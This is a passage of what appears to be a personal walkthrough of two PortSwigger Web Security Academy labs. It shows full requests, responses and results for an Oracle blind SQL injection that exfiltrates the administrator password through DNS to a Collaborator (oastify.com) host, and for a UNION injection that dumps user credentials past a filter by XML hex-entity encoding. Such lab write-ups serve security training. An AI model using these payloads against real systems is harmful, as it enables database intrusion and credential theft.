<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password from users where username =
'administrator')||'.lpeuc1oi5ha3lckp1qgyw6f1qswlkc81.oastify.com/">
%remote;]');','/I') FROM dual)—

**Request**

P	Raw	Hex
1	GET / HTTP/2	
2	Host:	0a06000d0384938982fdbalb00730061.web-security-academy.net
3	Cookie:	TrackingId=4HwTEPQceVadYtlB'+  +(SELECT+EXTRACTVALUE(xmltype('<%xml+version='1.0"%+encoding='UTF-8"%3f><!DOCTYPE+root+[+<ENTITY%25+remote+SYSTEM+"http%3a//'  (SELECT+password+from+users+where+username=%3d+"administrator')  '.lpeuc1oi5ha3lckp1qgyw6f1qswlkc81.oastify.com/">+%25remote%3b]+')','/1')+FRO+M+dual)--; session=KPoU94bqVhQW109e1ASot54BgZLdV3b
4	Sec-Ch-Ua:	"Chromium";v="121", "Not A(Brand";v="99"
5	Sec-Ch-Ua-Mobile:	?0
6	Sec-Ch-Ua-Platform:	"Linux"
7	Upgrade-Insecure-Requests:	1
8	User-Agent:	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
9	Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10	Sec-Fetch-Site:	same-origin
11	Sec-Fetch-Mode:	navigate
12	Sec-Fetch-User:	?1

**Response**

Pretty	Raw	Hex	Render
1	HTTP/2 200 OK		
2	Content-Type: text/html; charset=utf-8		
3	X-Frame-Options: SAMEORIGIN		
4	Content-Length: 11421		
5	<!DOCTYPE html>		
6	<html>		
7	<head>		
8	<link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet">		
9	<link href=/resources/css/labsEcommerce.css rel=stylesheet>		
10	<title>Blind SQL injection with out-of-band data exfiltration</title>		
11	</head>		
12	<body>		
13	<script src="/resources/labheader/js/labHeader.js"></script>		
14	<div id="academyLabHeader">		
15	<section class="academyLabBanner">		
16	<div class=container>		
17	</div>		

# ^	Time	Type	Payload	Source IP address
1	2024-Apr-21 21:25:52.277 UTC	DNS	lpeuc1oi5ha3lckp1qgyw6f1qswlkc81	34.242.153.250
2	2024-Apr-21 21:25:52.277 UTC	DNS	lpeuc1oi5ha3lckp1qgyw6f1qswlkc81	34.245.205.172
3	2024-Apr-21 21:25:52.277 UTC	DNS	lpeuc1oi5ha3lckp1qgyw6f1qswlkc81	34.245.205.182
4	2024-Apr-21 21:25:52.277 UTC	DNS	lpeuc1oi5ha3lckp1qgyw6f1qswlkc81	34.245.205.172
5	2024-Apr-21 21:25:52.284 UTC	HTTP	lpeuc1oi5ha3lckp1qgyw6f1qswlkc81	34.251.122.40

**Description** DNS query

The Collaborator server received a DNS lookup of type AAAA for the domain name nke2tm2o2rxx4wuyaf26.lpeuc1oi5ha3lckp1qgyw6f1qswlkc81.oastify.com.

The lookup was received from IP address 34.242.153.250:30571 at 2024-Apr-21 21:25:52.277 UTC.

Password → **nke2tm2o2rxx4wuyaf26**

The screenshot shows the Web Security Academy interface. At the top left is the logo 'Web Security Academy' with a red lightning bolt icon. To its right is the title 'Blind SQL injection with out-of-band data exfiltration'. Further right is a green button labeled 'LAB Solved' with a trophy icon. Below the title is a link 'Back to lab description >'. A red banner at the bottom of the page says 'Congratulations, you solved the lab!' and includes links to 'Share your skills!', social media icons for Twitter and LinkedIn, and 'Continue learning >'. At the very bottom, there are links for 'Home | My account | Log out'.

## 18.SQL injection with filter bypass via XML encoding.

Task:

This lab contains a SQL injection vulnerability in its stock check feature. The results from the query are returned in the application's response, so you can use a UNION attack to retrieve data from other tables.

The database contains a `users` table, which contains the usernames and passwords of registered users. To solve the lab, perform a SQL injection attack to retrieve the admin user's credentials, then log in to their account.

- Install the hackvetor extension.
- Go to the stock check feature and grab the request with burpsuite.
- 1 UNION SELECT NULL → no output

Because it identifies UNION SQL injection attacks.

To solve the lab we need to encode the query and send it using hackvetor extension.

- Select the query → extensions → hackvetor → encode → hex\_entities
- Query → 1 UNION SELECT username || '~' || password FROM users

**Request**

Pretty Raw Hex

```

1 POST /product/stock HTTP/2
2 Host: 0a6700d803281754803cf380004f00ba.web-security-academy.net
3 Cookie: session=VQ5CM940Wk5L39fTs3D0pLyXBB6tcsDz
4 Content-Length: 125
5 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
6 Sec-Ch-Ua-Platform: "Linux"
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
   AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85
   Safari/537.36
9 Content-Type: application/xml
10 Accept: */*
11 Origin: https://0a6700d803281754803cf380004f00ba.web-security-acade
   my.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0a6700d803281754803cf380004f00ba.web-security-acade
   my.net/product?productId=6
16 Accept-Encoding: gzip, deflate, br
17 Accept-Language: en-US,en;q=0.9
18 Priority: u=1, i
19
20 <?xml version="1.0" encoding="UTF-8"?>
   <stockCheck>
     <productId>
       6
     </productId>
     <storeId>
       1 UNION SELECT NULL
     </storeId>
   </stockCheck>

```

**Response**

Pretty Raw Hex Render

```

1 HTTP/2 403 Forbidden
2 Content-Type: application/json; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 17
5
6 "Attack detected"

```

Inspector Notes

**Request**

Pretty Raw Hex Hackvertor

```

1 POST /product/stock HTTP/2
2 Host: 0a6700d803281754803cf380004f00ba.web-security-academy.net
3 Cookie: session=RIDEujKPXHqf7LbVkB6l2QL3XJQ1GBr
4 Content-Length: 190
5 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
6 Sec-Ch-Ua-Platform: "Linux"
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
   AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85
   Safari/537.36
9 Content-Type: application/xml
10 Accept: */*
11 Origin: https://0a6700d803281754803cf380004f00ba.web-security-acade
   my.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0a6700d803281754803cf380004f00ba.web-security-acade
   my.net/product?productId=1
16 Accept-Encoding: gzip, deflate, br
17 Accept-Language: en-US,en;q=0.9
18 Priority: u=1, i
19
20 <?xml version="1.0" encoding="UTF-8"?>
   <stockCheck>
     <productId>
       1
     </productId>
     <storeId>
       <@hex_entities>
         1 UNION SELECT username || '~' || password FROM
           users<@/hex_entities>
       </storeId>
     </stockCheck>

```

**Response**

Pretty Raw Hex Render Hackvertor

```

1 HTTP/2 200 OK
2 Content-Type: text/plain; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 100
5
6 carlos~pbmcv4qy57he2k1oh5ow
7 660 units
8 administrator~i0b8pq92l0ryw6kamzla
9 wiener~l52luyfy5n4lh4r2v8m2

```

**Web Security Academy**  SQL injection with filter bypass via XML encoding

[Back to lab description >>](#)

Congratulations, you solved the lab! [Share your skills!](#)   Continue learning >>

[Home](#) | [My account](#) | [Log out](#)

## My Account

Your username is: administrator

Email